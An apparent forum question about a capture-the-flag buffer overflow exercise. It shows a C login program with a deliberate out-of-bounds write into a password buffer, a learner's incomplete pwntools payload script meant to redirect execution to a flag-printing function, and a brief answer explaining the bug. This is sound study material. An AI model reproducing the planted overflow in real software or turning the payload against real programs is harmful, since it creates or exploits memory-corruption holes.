Consider the following simple C program that asks the user for to input their user name and password in order to get access to some website. (The correct username is supposed to be "admin" and the password is a secret random number.) The compiler flag looks like this:
gcc -o main.elf main.c -static -ggdb -O0 -fno-stack-protector
My task is to find obtain the flag contained in the file "flag.txt", which we are supposed to do by callin the function "showFlag" via a buffer overflow attack. (We can use the symbold method of the elf class from pwntools in Python to find the address of "showFlag" in the binary.)
However, I do not see how to trigger a buffer overflow here. I think that the parts
char password[040];
(which implies 32 bit length)
readInput(password, 0x40);
(which implies 64 bit length)
is the bottlehead. However, when I enter some arbitrarily long text for the password to trigger some buffer overflow and I do not know why. (I wrote a small Python script for this, see below.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void showFlag()
{
FILE *file;
char c = 0;
file = fopen("flag.txt", "r");
if (file)
{
c = fgetc(file);
while (c != EOF)
{
printf("%c", c);
c = fgetc(file);
}
printf("\n");
fflush(stdout);
}
fclose(file);
}
void readInput(char *target_buffer, int size)
{
int c;
int i = 0;
while ((c = getchar()) != '\n' && c != EOF)
{
if (i < size)
{
target_buffer[i] = (char)c;
i++;
}
}
target_buffer[size - 1] = '\0';
}
int main()
{
char username[010];
char password[040];
// Generate seed using current time
time_t seed = time(NULL);
if (seed == ((time_t)-1)) // Check for error in time()
{
puts("Error in retrieving current time");
exit(2);
}
srand((unsigned int)seed);
unsigned int secret_number = rand() % 19483;
puts("Username:");
readInput(username, 010);
puts("Password:");
readInput(password, 0x40);
if (!strncmp(username, "admin", 5) && secret_number == 0xDEADBEFE)
{
puts("You got the secret number right!");
return 0;
}
else
{
puts("Your login credentials were false.");
exit(0);
}
return 0;
}
My Python Script:
from pwn import *
# Define the ELF binary
elf = ELF('./main.elf')
win_address = elf.symbols['win']
print("Address = ", win_address)
elf = process('./main.elf')
offset = 40
payload = b'A' * offset
payload += p64(win_address)
elf.recvuntil("Username:")
elf.sendline("admin") # username is admin
elf.recvuntil("Password:")
elf.sendline(payload) # sending payload
elf.interactive()
elf.close()
EDIT: I tried to model my approach on this video. To clarify: I thought that entering some long random text when prompted for the password (or username) would trigger some segfault which I could then use to write the hex address of the showFlag
function on the return address of the stack to trigger showFlag
(as shown in the video). However, I do not even get a segfault...
password
array is 32 bytes(!) long (octal040
), butreadInput
is writing 64 bytes (hexadecimal0x40
) to it. That’s the intentional bug causing a buffer overflow vulnerability. Now you need to work out how to overwrite the return address of themain
function on the call stack with the address ofshowFlag
. For that, you have understand the basic layout of the call stack and how to use a debugger likegdb
. If you don’t, then that’s what you should learn first.